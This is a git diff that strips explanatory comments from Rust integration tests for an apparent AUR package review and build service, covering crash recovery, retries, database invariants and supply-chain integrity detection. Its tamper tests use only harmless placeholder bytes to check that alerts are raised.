@@ -37,7 +35,6 @@ fn run_cli(env: &Env, args: &[&str]) -> std::process::Output {
fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work() {
let (mut env, _fx) = env_with_fixture("plain-make");
let id = queued(&env, "plain-make");
- // The child will be murdered the moment it invokes makepkg.
env.cfg.hooks.shim_kill_parent = Some("makepkg".into());
env.cfg.save().unwrap();
@@ -51,7 +48,6 @@ fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work
String::from_utf8_lossy(&out.stderr)
);
- // The database survived, because no transaction ever spans a build step.
let b = builds::get(&env.db, &id).unwrap().expect("build row survived the kill");
assert!(
b.state == BuildState::Leased || b.state == BuildState::Running,
@@ -70,8 +66,6 @@ fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work
);
assert!(db::accepted_release(&env.db, "plain-make").unwrap().is_none(), "nothing was published");
- // Time passes; the lease expires. A fresh process's dispatcher reaps it — the
- // same code path as any other expired lease.
env.exec("UPDATE build SET lease_expires_at='2000-01-01T00:00:00Z' WHERE id=?1", &params(vec![id.as_str()]));
assert_eq!(builds::reap_expired(&env.db).unwrap(), 1);
assert_eq!(
@@ -79,7 +73,6 @@ fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work
Some(StepState::Interrupted)
);
- // Resume: the completed steps are not repeated.
env.cfg.hooks.shim_kill_parent = None;
env.cfg.save().unwrap();
let out = run_cli(&env, &["run", &id]);
@@ -108,35 +101,26 @@ fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work
#[test]
fn a_cancelled_build_stops_at_a_step_boundary_and_publishes_nothing() {
- // §8.2: cancellation is cooperative at a step boundary. A worker never kills a
- // step halfway through, because that is the state a crash leaves.
let (env, _fx) = env_with_fixture("plain-make");
let id = queued(&env, "plain-make");
builds::request_cancel(&env.db, &id).unwrap();
let out = pipeline::run(&env.cfg, &env.db, &id).unwrap();
assert!(matches!(out, pipeline::Outcome::Cancelled), "{out:?}");
assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Cancelled);
- // Nothing ran, so nothing to undo.
let shim = env.cfg.hooks.shim_dir.clone().unwrap();
assert_eq!(aur_build::shims::called_with(&shim, "repo-add", ""), 0);
assert!(db::accepted_release(&env.db, "plain-make").unwrap().is_none());
- // A cancelled build is not a failure and is not retried.
assert_eq!(env.query_i64("SELECT count(*) FROM build WHERE state='failed'", &[]), Some(0));
}
#[test]
fn a_failed_build_leaves_the_index_serving_the_old_version_and_says_so() {
- // §8.4: "v2 approved, build failed, index still serving v1". The dangerous
- // failure mode is a package that looks healthy while the new version never
- // arrived.
let (mut env, fx) = env_with_fixture("plain-make");
- // Publish v1 for real.
let c = approved(&env, "plain-make");
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
pipeline::run(&env.cfg, &env.db, &id).unwrap();
assert_eq!(db::index_version(&env.db, "plain-make").unwrap().as_deref(), Some("1.0-1"));
- // v2 is approved and its build fails deterministically.
fx.bump(&[("pkgver", "2.0")]);
env.set_shim_fail("makepkg");
let c2 = approved(&env, "plain-make");
@@ -144,7 +128,6 @@ fn a_failed_build_leaves_the_index_serving_the_old_version_and_says_so() {
let out = pipeline::run(&env.cfg, &env.db, &id2).unwrap();
assert!(matches!(out, pipeline::Outcome::Failed { .. }), "{out:?}");
- // The index still serves v1 — correct — and the system knows v2 never landed.
assert_eq!(db::index_version(&env.db, "plain-make").unwrap().as_deref(), Some("1.0-1"));
let unbuilt = db::approved_but_unbuilt(&env.db).unwrap();
assert_eq!(unbuilt.len(), 1, "the failed approval must be surfaced: {unbuilt:?}");
@@ -152,7 +135,6 @@ fn a_failed_build_leaves_the_index_serving_the_old_version_and_says_so() {
assert_eq!(unbuilt[0].approved, "2.0-1");
assert_eq!(unbuilt[0].serving, "1.0-1");
- // And it is on the surfaces a human actually looks at.
let web = Web::attach(env, fx);
let attention = web.get("/attention");
assert!(attention.body.contains("Approved but unbuilt"), "no Attention section: {}", &attention.body[..600.min(attention.body.len())]);
@@ -164,8 +146,6 @@ fn a_failed_build_leaves_the_index_serving_the_old_version_and_says_so() {
#[test]
fn a_transient_failure_retries_but_a_deterministic_one_never_does() {
- // The retry policy is asserted at the state machine level here; the dispatch
- // tests cover it through the pool.
let (mut env, _fx) = env_with_fixture("build-fails");
let id = queued(&env, "build-fails");
let pool = aur_build::pipeline::dispatch::Pool::spawn(std::sync::Arc::new(env.cfg.clone()), env.db.clone());
@@ -182,7 +162,6 @@ fn a_transient_failure_retries_but_a_deterministic_one_never_does() {
pool.shutdown();
assert_eq!(state, BuildState::Failed);
assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().attempt, 1, "a deterministic failure must not retry");
- // The release stays approved_but_unbuilt rather than vanishing.
assert_eq!(db::approved_but_unbuilt(&env.db).unwrap().len(), 1);
let _ = &mut env;
}
diff --git a/tests/db.rs b/tests/db.rs
index 31f4326..ea8c4de 100644
--- a/tests/db.rs
+++ b/tests/db.rs
@@ -35,7 +35,6 @@ fn migrations_apply_from_empty_and_are_idempotent() {
})
.unwrap();
assert_eq!(v as usize, db::MIGRATIONS.len(), "all migrations applied");
- // Re-running migration over an existing DB is a no-op, not an error.
assert_eq!(db::migrate(&env.cfg.db_path()).unwrap(), 0);
let journal: String = env
.db
@@ -54,7 +53,6 @@ fn default_settings_are_seeded() {
assert_eq!(db::setting_i64(&env.db, "retention_versions", 0), 5);
}
-/// I7: a pkgbase has at most one open review, enforced by a partial unique index.
#[test]
fn i7_second_open_review_is_rejected_by_the_database() {
let env = Env::new();
@@ -67,7 +65,6 @@ fn i7_second_open_review_is_rejected_by_the_database() {
});
assert!(err.is_err(), "second pending_review must fail");
- // A terminal state frees the slot again.
insert_candidate(&env, pb, snap2, "id-2", "rejected");
let n: Option<i64> = env.query_i64(
"SELECT count(*) FROM candidate WHERE pkgbase_id=?1",
@@ -76,7 +73,6 @@ fn i7_second_open_review_is_rejected_by_the_database() {
assert_eq!(n, Some(2));
}
-/// Same identity for the same pkgbase must never create a second candidate (I3).
#[test]
fn candidate_identity_is_unique_per_pkgbase() {
let env = Env::new();
@@ -88,7 +84,6 @@ fn candidate_identity_is_unique_per_pkgbase() {
assert!(res.is_err(), "UNIQUE(pkgbase_id, identity_hash) must hold");
}
-/// I10: every state transition is recorded, and the log cannot be rewritten.
#[test]
fn audit_log_is_append_only() {
let env = Env::new();
@@ -106,11 +101,9 @@ fn audit_log_is_append_only() {
std::panic::catch_unwind(|| env.exec("DELETE FROM audit WHERE id=?1", &params(vec![id]))).is_err(),
"audit DELETE must be refused by trigger"
);
- // Inserts keep working.
db::audit_system(&env.db.writer, "test2", "pkgbase", "1", serde_json::json!({})).unwrap();
}
-/// §16: concurrent approvals on the same pkgbase are a guarded compare-and-swap.
#[test]
fn accepted_release_pointer_is_compared_and_swapped() {
let env = Env::new();
@@ -129,7 +122,6 @@ fn accepted_release_pointer_is_compared_and_swapped() {
Ok(tx.last_insert_rowid())
})
.unwrap();
- // First swap from NULL wins, second loses.
assert!(db::cas_accepted_release(&env.db.writer, pb, None, rel).unwrap());
assert!(!db::cas_accepted_release(&env.db.writer, pb, None, rel).unwrap());
assert_eq!(
@@ -138,7 +130,6 @@ fn accepted_release_pointer_is_compared_and_swapped() {
);
}
-/// §11a: WAL lets readers proceed concurrently with the writer.
#[test]
fn many_readers_do_not_block_the_writer() {
let env = std::sync::Arc::new(Env::new());
@@ -166,7 +157,6 @@ fn many_readers_do_not_block_the_writer() {
.unwrap(),
);
}
- // Write while they read: none of these may fail with SQLITE_BUSY.
for i in 0..200 {
db::set_setting(&env.db.writer, &format!("k{i}"), "1").unwrap();
}
@@ -180,7 +170,6 @@ fn world_snapshot_dedupes_by_hash() {
let env = Env::new();
let m = |b: &str, v: &str| db::WorldMember { pkgbase: b.into(), version: v.into() };
let a = db::put_world_snapshot(&env.db.writer, &[m("foo", "1-1"), m("bar", "2-1")]).unwrap();
- // Order-insensitive: same set, same snapshot.
let b = db::put_world_snapshot(&env.db.writer, &[m("bar", "2-1"), m("foo", "1-1")]).unwrap();
assert_eq!(a, b);
let members = db::world_members(&env.db, a).unwrap();
@@ -199,7 +188,6 @@ fn duplicate_open_notices_are_suppressed() {
assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", detail.clone())
.unwrap()
.is_none());
- // Acknowledging lets a fresh one through.
let id = env
.query_i64("SELECT id FROM notice ORDER BY id DESC LIMIT 1", &[])
.unwrap();
@@ -213,7 +201,6 @@ fn duplicate_open_notices_are_suppressed() {
fn i1_query_flags_index_entries_without_approval() {
let env = Env::new();
let pb = env.subscribe("foo");
- // A published release with no approval row: exactly the thing I1 forbids.
let rel = env
.db
.writer
@@ -235,7 +222,6 @@ fn i1_query_flags_index_entries_without_approval() {
#[test]
fn a_setting_that_is_absent_is_the_default_and_one_that_is_nonsense_falls_back() {
- // m-9: absent means default, nonsense means default *and a complaint*.
let env = Env::new();
assert_eq!(db::setting_i64(&env.db, "stage_b_cooldown", 86400), 86400);
db::set_setting(&env.db.writer, "stage_b_cooldown", "86400x").unwrap();
diff --git a/tests/detect.rs b/tests/detect.rs
index 6284b31..a7641b1 100644
--- a/tests/detect.rs
+++ b/tests/detect.rs
@@ -7,7 +7,6 @@ use aur_build::review::{approve, candidates};
use aur_build::watch::detect::{check_pkgbase, Outcome};
use aur_build::watch::mirror::{sync_mirror, Sync};
-/// Path of the fake AUR repo for `name`, matching `Env::subscribe`'s URL.
fn aur(env: &Env, name: &str) -> std::path::PathBuf {
env.path(&format!("aur/{name}.git"))
}
@@ -40,7 +39,6 @@ fn first_detection_opens_a_first_introduction_with_no_base() {
assert_eq!(c.kind, candidate_kind::FIRST_INTRODUCTION);
assert_eq!(c.base_release_id, None, "I2 has no referent for a first introduction");
assert_eq!(c.version(), "1.0-1");
- // The pin is recorded on the snapshot and it is the commit we cloned.
let snap = db::snapshot_by_id(&env.db, c.snapshot_id).unwrap().unwrap();
assert_eq!(snap.aur_commit, commit);
assert_eq!(snap.recipe_hash.len(), 64);
@@ -59,7 +57,6 @@ fn cheap_poll_does_not_fetch_when_the_tip_is_unchanged() {
Sync::Unchanged { head } => assert_eq!(head, git_head(&aur(&env, "foo"))),
other => panic!("expected Unchanged, got {other:?}"),
}
- // A new commit makes it fetch.
git_add_commit(&aur(&env, "foo"), &[("PKGBUILD", &common::pkgbuild("foo", "1.1", "1", ""))], "bump");
let moved = sync_mirror(&env.cfg, &env.db, "foo", &url).unwrap();
assert!(matches!(moved, Sync::Fetched { .. }), "SHA moved -> fetch");
@@ -69,8 +66,6 @@ fn git_head(p: &std::path::Path) -> String {
aur_build::git::head(p).unwrap()
}
-/// §3: `recipe_hash` covers the *entire* tree, because a shipped patch is part of
-/// the recipe and is a classic silent-change vector.
#[test]
fn recipe_hash_covers_shipped_patches() {
let env = Env::new();
@@ -83,7 +78,6 @@ fn recipe_hash_covers_shipped_patches() {
let h1 = db::snapshot_by_id(&env.db, c1.snapshot_id).unwrap().unwrap().recipe_hash;
env.accept_as_release(c1.id);
- // Same PKGBUILD, different patch bytes.
git_add_commit(&aur(&env, "foo"), &[("fix.patch", "--- a\n+++ b\n@@\n-old\n+EVIL\n")], "patch2");
let rep = check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
assert!(
@@ -117,7 +111,6 @@ fn skip_sources_are_stream_hashed_into_the_cache() {
assert_eq!(digests[0].digest, expected, "we hash SKIP sources ourselves (§5.3)");
assert!(digests[0].skip_declared);
assert_eq!(digests[0].kind, "static");
- // The bytes landed in the content-addressed cache and are recorded.
let cached = env.query_i64(
"SELECT count(*) FROM source_cache WHERE url LIKE '%payload.txt' AND digest=?1",
&params(vec![expected.clone()]),
@@ -125,7 +118,6 @@ fn skip_sources_are_stream_hashed_into_the_cache() {
assert_eq!(cached, Some(1));
let path = env.cfg.source_cache_path(&expected);
assert!(path.exists(), "cached file is reused by the build");
- // A declared checksum costs no bandwidth: nothing was downloaded for it.
}
#[test]
@@ -153,7 +145,6 @@ fn declared_checksums_are_trusted_without_downloading() {
);
}
-/// I2, the headline rule: diffs are always against the last *accepted* version.
#[test]
fn i2_diff_base_is_the_last_accepted_version_however_many_detections_arrive() {
let env = Env::new();
@@ -164,15 +155,12 @@ fn i2_diff_base_is_the_last_accepted_version_however_many_detections_arrive() {
let rel1 = env.accept_as_release(c1.id);
assert_eq!(accepted(&env, "foo").unwrap().id, rel1);
- // v2 arrives and is detected but nobody looks at it.
git_add_commit(&aur(&env, "foo"), &[("PKGBUILD", &common::pkgbuild("foo", "2.0", "1", ""))], "v2");
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
let c2 = pending(&env, "foo").unwrap();
assert_eq!(c2.base_release_id, Some(rel1), "base is the accepted release");
assert_eq!(c2.version(), "2.0-1");
- // v3 and v4 arrive while nobody is looking: they collapse into the same review,
- // and the base is *still* v1.
for v in ["3.0", "4.0"] {
git_add_commit(&aur(&env, "foo"), &[("PKGBUILD", &common::pkgbuild("foo", v, "1", ""))], v);
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
@@ -188,7 +176,6 @@ fn i2_diff_base_is_the_last_accepted_version_however_many_detections_arrive() {
);
}
-/// §7.1: `superseded` exists only when a human actually saw the old diff.
#[test]
fn a_viewed_review_is_frozen_and_a_fresh_one_opened() {
let env = Env::new();
@@ -240,7 +227,6 @@ fn a_rejected_identity_is_not_re_raised() {
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
let c = pending(&env, "foo").unwrap();
approve::reject(&env.db, "tester", c.id, "not this one").unwrap();
- // Re-running detection must not nag (§7.1).
let rep = check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
assert!(
matches!(rep.outcome, Outcome::PreviouslyRejected | Outcome::NoChange),
@@ -248,13 +234,11 @@ fn a_rejected_identity_is_not_re_raised() {
rep.outcome
);
assert!(pending(&env, "foo").is_none());
- // A *newer* version is still detected: rejection does not block (§7.1).
git_add_commit(&aur(&env, "foo"), &[("PKGBUILD", &common::pkgbuild("foo", "2.0", "1", ""))], "v2");
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
assert!(pending(&env, "foo").is_some());
}
-/// I11: a change that is not publishable never silently disappears.
#[test]
fn recipe_drift_under_a_static_version_is_a_notice_not_a_candidate() {
let env = Env::new();
@@ -264,7 +248,6 @@ fn recipe_drift_under_a_static_version_is_a_notice_not_a_candidate() {
let c = pending(&env, "foo").unwrap();
env.accept_as_release(c.id);
- // Maintainer edits the PKGBUILD but forgets to bump pkgrel.
git_add_commit(
&aur(&env, "foo"),
&[("PKGBUILD", &common::pkgbuild("foo", "1.0", "1", "# a comment only"))],
@@ -282,7 +265,6 @@ fn recipe_drift_under_a_static_version_is_a_notice_not_a_candidate() {
assert_eq!(notices[0].severity, "warning");
}
-/// §5.3: the single most valuable detection — same version, swapped bytes.
#[test]
fn digest_drift_with_an_unchanged_version_is_an_integrity_alert() {
let env = Env::new();
@@ -300,7 +282,6 @@ fn digest_drift_with_an_unchanged_version_is_an_integrity_alert() {
let c = pending(&env, "foo").unwrap();
env.accept_as_release(c.id);
- // The CDN now serves something else and the version did not move.
std::fs::write(&payload, b"EVIL swapped artifact").unwrap();
let rep = check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
match rep.outcome {
@@ -311,7 +292,6 @@ fn digest_drift_with_an_unchanged_version_is_an_integrity_alert() {
let notices = db::list_notices(&env.db, false).unwrap();
assert_eq!(notices[0].severity, "high");
assert!(notices[0].detail_json.contains("no longer serves"));
- // The index keeps serving the artifact built from the old bytes (I1).
assert_eq!(db::unapproved_index_entries(&env.db).unwrap(), Vec::<String>::new());
}
@@ -354,7 +334,6 @@ fn detection_is_idempotent_and_records_no_duplicate_candidate() {
fn srcinfo_is_preferred_over_the_pkgbuild_when_present() {
let env = Env::new();
env.subscribe("foo");
- // .SRCINFO disagrees with the PKGBUILD, which is what makepkg reports.
make_git_repo(
&aur(&env, "foo"),
&[
@@ -398,7 +377,6 @@ fn epoch_and_pkgrel_are_part_of_the_identity() {
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
let c = pending(&env, "foo").unwrap();
env.accept_as_release(c.id);
- // pkgrel reset: a major signal, and a new identity.
git_add_commit(&aur(&env, "foo"), &[("PKGBUILD", &common::pkgbuild("foo", "1.0", "7", ""))], "rel");
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
let c2 = pending(&env, "foo").expect("pkgrel bump is publishable, so it is a candidate");
diff --git a/tests/dispatch.rs b/tests/dispatch.rs
index 197d226..f702151 100644
--- a/tests/dispatch.rs
+++ b/tests/dispatch.rs
@@ -9,7 +9,6 @@ use aur_build::pipeline::{self, dispatch};
use aur_build::review::{candidates, diff};
use common::*;
-/// Approve a fixture's candidate and enqueue its build without running it.
fn queued_build(env: &Env, name: &str) -> String {
aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap();
let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
@@ -27,7 +26,6 @@ fn pass(env: &Env) -> Vec<String> {
#[test]
fn the_deterministic_build_id_makes_re_enqueue_a_noop() {
- // §8.2: re-submitting the same intent is an INSERT OR IGNORE no-op.
let (env, _fx) = env_with_fixture("plain-make");
aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, "plain-make").unwrap();
let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
@@ -51,13 +49,10 @@ fn backpressure_admits_no_more_than_max_concurrent_builds() {
let claimed = pass(&env);
assert_eq!(claimed.len(), 1, "one slot must admit exactly one build");
- // The dispatcher will not run ahead into the second slot while the first is
- // still in flight.
assert_eq!(pass(&env).len(), 0, "admitted a second build while one is in flight");
assert_eq!(env.query_i64("SELECT count(*) FROM build WHERE state='leased'", &[]), Some(1));
assert_eq!(env.query_i64("SELECT count(*) FROM build WHERE state='queued'", &[]), Some(1));
- // Widen the pool and the second one goes.
env.cfg.max_concurrent_builds = 2;
assert_eq!(pass(&env).len(), 1);
}
@@ -66,12 +61,10 @@ fn backpressure_admits_no_more_than_max_concurrent_builds() {
fn disk_headroom_is_part_of_backpressure() {
let (mut env, _fx) = env_with_fixture("plain-make");
queued_build(&env, "plain-make");
- // Ask for more free space than any machine has: nothing is admitted (§8.2).
env.cfg.min_free_disk_mb = u64::MAX / 2;
assert_eq!(dispatch::admissible(&env.cfg, &env.db), 0);
assert!(pass(&env).is_empty(), "claimed a build with no disk headroom");
assert_eq!(env.query_i64("SELECT count(*) FROM build WHERE state='queued'", &[]), Some(1));
- // And the measurement itself is real, not a stub returning zero.
env.cfg.min_free_disk_mb = 1;
assert!(dispatch::free_disk_mb(&env.cfg.root) > 0, "free_disk_mb never measures anything");
assert_eq!(dispatch::admissible(&env.cfg, &env.db), 1);
@@ -79,19 +72,14 @@ fn disk_headroom_is_part_of_backpressure() {
#[test]
fn an_expired_lease_is_requeued_and_its_running_step_marked_interrupted() {
- // The reaper pass is the whole crash-recovery story: a worker that died
- // mid-step leaves a leased row and a running step, and the next pass turns
- // that back into queued + interrupted (I5).
let (env, _fx) = env_with_fixture("plain-make");
let id = queued_build(&env, "plain-make");
assert_eq!(pass(&env), vec![id.clone()]);
builds::begin_step(&env.db, &id, "build", 1).unwrap();
assert_eq!(builds::step_status(&env.db, &id, "build").unwrap(), Some(StepState::Running));
- // Time passes — the lease expires, as it would if the process were killed.
env.exec("UPDATE build SET lease_expires_at='2000-01-01T00:00:00Z'", &[]);
- // A fresh dispatcher (as after a restart) reaps it before claiming anything.
let reaped = builds::reap_expired(&env.db).unwrap();
assert_eq!(reaped, 1, "the expired lease was not requeued");
assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Queued);
@@ -100,15 +88,12 @@ fn an_expired_lease_is_requeued_and_its_running_step_marked_interrupted() {
Some(StepState::Interrupted),
"the in-flight step was not marked interrupted"
);
- // And it is claimable again.
assert_eq!(pass(&env), vec![id.clone()]);
assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().attempt, 2, "the retry was not counted");
}
#[test]
fn a_newer_approval_cancels_an_in_flight_build_at_the_step_boundary() {
- // §8.2 cancellation: a superseded candidate marks the running build
- // cancel_requested; the worker stops at the next boundary.
let (env, _fx) = env_with_fixture("plain-make");
let id = queued_build(&env, "plain-make");
pass(&env);
@@ -116,7 +101,6 @@ fn a_newer_approval_cancels_an_in_flight_build_at_the_step_boundary() {
env.exec("UPDATE candidate SET state='superseded' WHERE id=(SELECT candidate_id FROM build WHERE id=?1)", &params(vec![id.as_str()]));
assert_eq!(builds::cancel_superseded(&env.db).unwrap(), 1);
assert!(builds::cancel_requested(&env.db, &id).unwrap());
- // run() honours it at the step boundary rather than mid-step.
let out = pipeline::run(&env.cfg, &env.db, &id).unwrap();
assert!(matches!(out, pipeline::Outcome::Cancelled), "run ignored the cancellation");
assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Cancelled);
@@ -124,8 +108,6 @@ fn a_newer_approval_cancels_an_in_flight_build_at_the_step_boundary() {
#[test]
fn a_deterministic_build_failure_is_not_retried() {
- // §8.4: a build that fails for a deterministic reason stays failed at attempt
- // 1; burning another chroot to reproduce the same failure helps nobody.
let (env, _fx) = env_with_fixture("build-fails");
let id = queued_build(&env, "build-fails");
let pool = dispatch::Pool::spawn(Arc::new(env.cfg.clone()), env.db.clone());
@@ -135,15 +117,11 @@ fn a_deterministic_build_failure_is_not_retried() {
let b = builds::get(&env.db, &id).unwrap().unwrap();
assert_eq!(b.attempt, 1, "a deterministic failure must not be retried");
assert!(b.error.unwrap_or_default().contains("build"), "no step named in the error");
- // And the old version keeps looking served: nothing was published.
assert_eq!(db::index_version(&env.db, "build-fails").unwrap(), None);
}
#[test]
fn a_transient_failure_is_retried_up_to_the_cap() {
- // §8.4: a failure the outside world caused is retried, up to a bound. This
- // drives the real path: the build's `sources` step has to fetch and gets an
- // `Http` failure — the class a flaky mirror produces.
let (mut env, fx) = env_with_fixture("skip-checksum");
let id = queued_build(&env, "skip-checksum");
std::fs::remove_file(fx.data.join("payload.bin")).expect("payload exists");
@@ -151,8 +129,6 @@ fn a_transient_failure_is_retried_up_to_the_cap() {
env.cfg.max_transient_attempts = 3;
env.cfg.dispatch_tick_secs = 0;
let pool = dispatch::Pool::spawn(Arc::new(env.cfg.clone()), env.db.clone());
- // The state flickers to 'failed' between retries; what settles is the
- // attempt count reaching the cap with the build left failed.
let b = wait_attempt(&env, &id, 3);
pool.shutdown();
assert_eq!(b.state, BuildState::Failed);
@@ -165,9 +141,6 @@ fn a_transient_failure_is_retried_up_to_the_cap() {
#[test]
fn a_missing_toolchain_is_not_retried() {
- // m-14: this used to be the transient test. A missing `makepkg` surfaces as
- // an `Io` error, and `Io` used to mean "retry". It is deterministic: the tool
- // is not going to appear.
let (mut env, _fx) = env_with_fixture("plain-make");
let id = queued_build(&env, "plain-make");
env.cfg.makepkg_bin = "/nonexistent/makepkg-for-test".into();
@@ -186,8 +159,6 @@ fn a_missing_toolchain_is_not_retried() {
#[test]
fn the_pool_takes_a_queued_build_all_the_way_to_publication() {
- // The threads, not a test calling run() directly: dispatcher claims, worker
- // runs the ten steps, publish lands the release.
let (env, _fx) = env_with_fixture("plain-make");
let id = queued_build(&env, "plain-make");
let cfg = Arc::new(env.cfg.clone());
@@ -201,8 +172,6 @@ fn the_pool_takes_a_queued_build_all_the_way_to_publication() {
#[test]
fn a_reaped_build_resumes_at_the_next_incomplete_step_with_no_duplicate_work() {
- // I5 through the dispatcher rather than a direct run(): a build that dies late
- // is requeued, re-claimed, and finishes from its checkpoints.
let (mut env, fx) = env_with_fixture("plain-make");
let c = queued_candidate(&env, "plain-make");
let first = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
@@ -218,9 +187,6 @@ fn a_reaped_build_resumes_at_the_next_incomplete_step_with_no_duplicate_work() {
));
let builds_before = aur_build::shims::called_with(&env.cfg.hooks.shim_dir.clone().unwrap(), "makepkg", "");
- // The worker "died" at publish: the row is leased to a worker that is no
- // longer running, with a lease nobody will extend. A fresh dispatcher reaps it
- // and a worker finishes from the checkpoints.
env.clear_publish_fault();
env.exec(
"UPDATE build SET state='leased', lease_owner='dead-worker',
@@ -252,7 +218,6 @@ fn a_reaped_build_resumes_at_the_next_incomplete_step_with_no_duplicate_work() {
assert_eq!(db::index_version(&env.db, "plain-make").unwrap().as_deref(), Some("1.0.1-1"));
}
-/// Approve a fixture's candidate and hand back the approved row.
fn queued_candidate(env: &Env, name: &str) -> CandidateRow {
aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap();
let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
@@ -262,7 +227,6 @@ fn queued_candidate(env: &Env, name: &str) -> CandidateRow {
candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap()
}
-/// Poll until the build has been attempted `n` times and settled.
fn wait_attempt(env: &Env, id: &str, n: i64) -> builds::BuildRow {
for _ in 0..600 {
if let Some(b) = builds::get(&env.db, id).unwrap() {
@@ -275,7 +239,6 @@ fn wait_attempt(env: &Env, id: &str, n: i64) -> builds::BuildRow {
panic!("build {id} never reached {n} attempts in state failed");
}
-/// Poll until the build reaches one of `want` (or the test gives up).
fn wait_for(env: &Env, id: &str, want: &[BuildState]) -> BuildState {
for _ in 0..600 {
if let Some(b) = builds::get(&env.db, id).unwrap() {
diff --git a/tests/failure_modes.rs b/tests/failure_modes.rs
index 74794b4..e9083a2 100644
--- a/tests/failure_modes.rs
+++ b/tests/failure_modes.rs
@@ -11,15 +11,9 @@ use common::*;
#[derive(Clone, Copy, PartialEq, Eq)]
enum Fault {
- /// The sandbox vanishes while the build command is running — the shape of
- /// a VM pulled out from under a worker.
DieMidRun,
- /// The sandbox's own TTL bites mid-build.
TtlMidBuild,
- /// The pool is at quota: no lease exists to hand out.
NoCapacity,
- /// The sandbox installs the lease but its `pacman -Q` comes back empty —
- /// an incomplete closure, or a world that lied.
EmptyWorld,
}
@@ -101,8 +95,6 @@ fn run_with_fault(env: &Env, id: &str, fault: Fault) -> pipeline::Outcome {
#[test]
fn a_sandbox_that_dies_mid_run_expires_its_lease_and_the_requeue_finishes_the_build() {
- // I5 across the sandbox boundary: the box vanishes mid-build, the lease
- // expires, and a fresh worker resumes from the checkpoints.
let (env, _fx) = env_with_fixture("plain-make");
let id = approve_and_enqueue(&env, "plain-make");
@@ -114,7 +106,6 @@ fn a_sandbox_that_dies_mid_run_expires_its_lease_and_the_requeue_finishes_the_bu
other => panic!("{other:?}"),
}
- // The crash shape the dispatcher reaper knows: leased to a worker that is gone.
env.exec(
"UPDATE build SET state='leased', lease_owner='dead-worker',
lease_expires_at='2000-01-01T00:00:00Z' WHERE id=?1",
@@ -122,7 +113,6 @@ fn a_sandbox_that_dies_mid_run_expires_its_lease_and_the_requeue_finishes_the_bu
);
assert_eq!(builds::reap_expired(&env.db).unwrap(), 1);
- // Requeue and resume on a healthy pool: the completed steps do not re-run.
assert!(matches!(
pipeline::run(&env.cfg, &env.db, &id).unwrap(),
pipeline::Outcome::Succeeded { .. }
@@ -142,7 +132,6 @@ fn a_ttl_that_bites_mid_build_is_a_failed_step_not_a_lost_build() {
}
other => panic!("{other:?}"),
}
- // Nothing was published, and the approval is still there to resume from.
assert!(db::accepted_release(&env.db, "plain-make").unwrap().is_none());
}
@@ -171,9 +160,6 @@ fn a_full_pool_blocks_the_build_instead_of_breaking_it() {
#[test]
fn an_incomplete_closure_fails_closed_as_a_world_mismatch() {
- // dep-client's lease pins plain-make; the fake sandbox installs it but its
- // `pacman -Q` comes back empty — the world lied. Provisioning must refuse with
- // its own error class.
let (env, _plain, _client) = env_with_two_fixtures("plain-make", "dep-client");
let id = approve_and_enqueue(&env, "plain-make");
assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Succeeded { .. }));
diff --git a/tests/hash.rs b/tests/hash.rs
index 46ecdb4..32995ff 100644
--- a/tests/hash.rs
+++ b/tests/hash.rs
@@ -3,8 +3,6 @@ use std::collections::HashMap;
use aur_build::db::model::Identity;
use aur_build::hash;
-/// A value that refuses to be serialized — the input the old implementation
-/// answered with `"{}"`, a digest every failed value shared.
struct Unserializable;
impl serde::Serialize for Unserializable {
@@ -17,15 +15,11 @@ impl serde::Serialize for Unserializable {
fn a_value_that_cannot_be_serialized_is_an_error_not_an_empty_object() {
let err = hash::canonical_json(&Unserializable).unwrap_err();
assert!(err.to_string().contains("cannot be serialized"), "the failure was swallowed: {err}");
- // Two different unserializable values now fail loudly instead of hashing to
- // the same digest.
assert!(hash::canonical_json(&Unserializable).is_err());
}
#[test]
fn the_rendering_is_canonical_in_fact_not_in_name() {
- // Same fields, different declaration order: routed through `Value`, both come
- // out with the keys sorted.
#[derive(serde::Serialize)]
struct Ab {
alpha: String,
@@ -41,7 +35,6 @@ fn the_rendering_is_canonical_in_fact_not_in_name() {
assert_eq!(ab, ba, "field declaration order leaked into the rendering: {ab} vs {ba}");
assert_eq!(ab, r#"{"alpha":"1","beta":"2"}"#, "not the compact sorted rendering");
- // Same for a map assembled in an arbitrary order.
let mut one = HashMap::new();
one.insert("z", 1);
one.insert("m", 2);
@@ -66,7 +59,6 @@ fn the_identity_digest_is_a_function_of_the_identity_alone() {
let hash_of = |i: &Identity| i.hash().unwrap();
assert!(hash_of(&base).starts_with("sha256:"));
assert_eq!(hash_of(&base), hash_of(&base.clone()), "the same identity hashed twice, twice differently");
- // Every element of the tuple is part of the key (§5.1a).
assert_ne!(hash_of(&base), hash_of(&Identity { pkgrel: "2".into(), ..base.clone() }));
assert_ne!(hash_of(&base), hash_of(&Identity { epoch: "1".into(), ..base.clone() }));
